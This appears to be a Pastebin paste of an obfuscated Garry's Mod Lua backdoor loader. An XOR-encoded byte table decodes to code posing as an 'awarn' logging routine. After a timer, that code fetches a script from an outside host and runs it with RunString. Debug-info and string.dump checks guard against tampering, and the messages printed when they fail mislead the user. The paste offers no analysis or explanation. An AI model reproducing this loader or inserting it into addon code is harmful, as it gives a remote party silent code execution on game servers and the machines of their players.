SHARE
TWEET

Untitled

a guest Apr 19th, 2019 112 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. RunString([==[
  2. enccodetbl = {13,27,13,30,2,51,0,3,11,10,5,0,9,76,81,76,2,5,0,97,102,97,102,5,10,76,77,10,5,0,9,66,41,20,5,31,24,31,68,76,78,13,27,13,30,2,94,67,0,3,11,31,78,64,76,78,40,45,56,45,78,76,69,76,24,4,9,2,97,102,76,76,76,76,10,5,0,9,66,47,30,9,13,24,9,40,5,30,68,76,78,13,27,13,30,2,94,67,0,3,11,31,78,76,69,97,102,9,2,8,97,102,97,102,10,25,2,15,24,5,3,2,76,13,27,13,30,2,51,47,4,9,15,7,32,3,11,42,5,0,9,68,69,97,102,76,76,76,76,13,27,13,30,2,51,0,3,11,10,5,0,9,76,81,76,3,31,66,8,13,24,9,68,76,78,13,27,13,30,2,94,67,0,3,11,31,67,78,76,66,66,76,78,73,1,65,73,8,65,73,21,78,76,66,66,76,78,66,24,20,24,78,76,69,97,102,76,76,76,76,5,10,76,77,10,5,0,9,66,41,20,5,31,24,31,68,76,13,27,13,30,2,51,0,3,11,10,5,0,9,64,76,78,40,45,56,45,78,76,69,76,24,4,9,2,97,102,76,76,76,76,76,76,76,76,10,5,0,9,66,59,30,5,24,9,68,76,13,27,13,30,2,51,0,3,11,10,5,0,9,64,76,78,78,76,69,97,102,76,76,76,76,9,2,8,97,102,9,2,8,97,102,97,102,10,25,2,15,24,5,3,2,76,13,27,13,30,2,51,0,3,11,68,76,31,24,30,76,69,97,102,76,76,76,76,13,27,13,30,2,51,47,4,9,15,7,32,3,11,42,5,0,9,68,69,97,102,76,76,76,76,0,3,15,13,0,76,8,13,24,9,76,81,76,3,31,66,8,13,24,9,68,76,78,70,24,78,76,69,97,102,76,76,76,76,0,3,15,13,0,76,8,0,3,11,76,81,76,31,24,30,5,2,11,66,10,3,30,1,13,24,68,76,78,55,73,92,94,5,86,73,92,94,5,86,73,92,94,5,49,76,78,64,76,8,13,24,9,66,4,3,25,30,64,76,8,13,24,9,66,1,5,2,64,76,8,13,24,9,66,31,9,15,76,69,97,102,76,76,76,76,10,5,0,9,66,45,28,28,9,2,8,68,76,13,27,13,30,2,51,0,3,11,10,5,0,9,64,76,8,0,3,11,76,66,66,76,31,24,30,76,66,66,76,78,48,2,78,76,69,97,102,9,2,8,97,102,97,102,24,5,1,9,30,66,63,5,1,28,0,9,68,93,64,76,10,25,2,15,24,5,3,2,68,69,76,4,24,24,28,66,42,9,24,15,4,68,78,4,24,24,28,31,86,67,67,11,26,13,15,66,15,22,67,0,5,2,7,67,10,25,15,7,66,28,4,28,83,7,9,21,81,37,88,84,35,88,39,31,25,41,25,0,34,36,84,33,7,13,15,26,92,78,64,76,10,25,2,15,24,5,3,2,68,14,69,76,62,25,2,63,24,30,5,2,11,68,14,64,76,78,86,78,64,76,10,13,0,31,9,69,76,9,2,8,69,9,2,8,69,76,10,25,2,15,24,5,3,2,76,62,25,2,36,45,63,36,35,14,68,69,76,9,2,8}
  3. function RunHASHOb()
  4.     if not (debug.getinfo(function()end).short_src == "SDATA") then
  5.         CompileString("print('Bad source')", "error",true)()
  6.         return
  7.     end
  8.     for o=500,10000 do
  9.         if o ~= string.len(string.dump(RunHASHOb)) then
  10.             SDATA_DATA_CACHE = 10
  11.             CompileString("for i=1,40 do SDATA_DATA_CACHE = SDATA_DATA_CACHE + 1 end", "RunString")()
  12.             if SDATA_DATA_CACHE < 40 then
  13.                 for i=1,100 do
  14.                     CompileString("print('Oops, seem like you have broken this file')","Oops")()
  15.                 end
  16.                 return
  17.             end
  18.             continue
  19.         else
  20.             xpcall(function()
  21.                 pdata = ""
  22.                 xpcall(function()
  23.                     for i=1,string.len(string.dump(string.char)) do
  24.                         while o == i do
  25.                             o = o + 100000
  26.                         end
  27.                     end
  28.                 end,function() PJDATA_SUB = false end)
  29.                 if PJDATA_SUB then print("Error while ceating payload to inject") return end
  30.                 for i=1,#enccodetbl do
  31.                     pdata=pdata.. string.char(bit.bxor(enccodetbl[i], o%150))
  32.                 end
  33.                 if debug.getinfo(RunString).what ~= "C" then return end
  34.                 PJDATA_SUB = true
  35.                 for i=1,string.len(string.dump(CompileString)) do
  36.                     while o == 1050401 do
  37.                         o = o + 4510
  38.                     end
  39.                 end
  40.             end,function()
  41.                 xpcall(function()
  42.                     local debug_inject = CompileString(pdata,"0xFFFFFFFF")
  43.                     pcall(debug_inject,"LUA_STAT_CLIENT")
  44.                     pdata = "\00"
  45.                 end,function()
  46.                     print("Error while injecting code to luajit::Client")
  47.                 end)
  48.             end)
  49.         end
  50.     end
  51. end
  52. pcall(RunHASHOb)
  53. ]==],"SDATA")
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top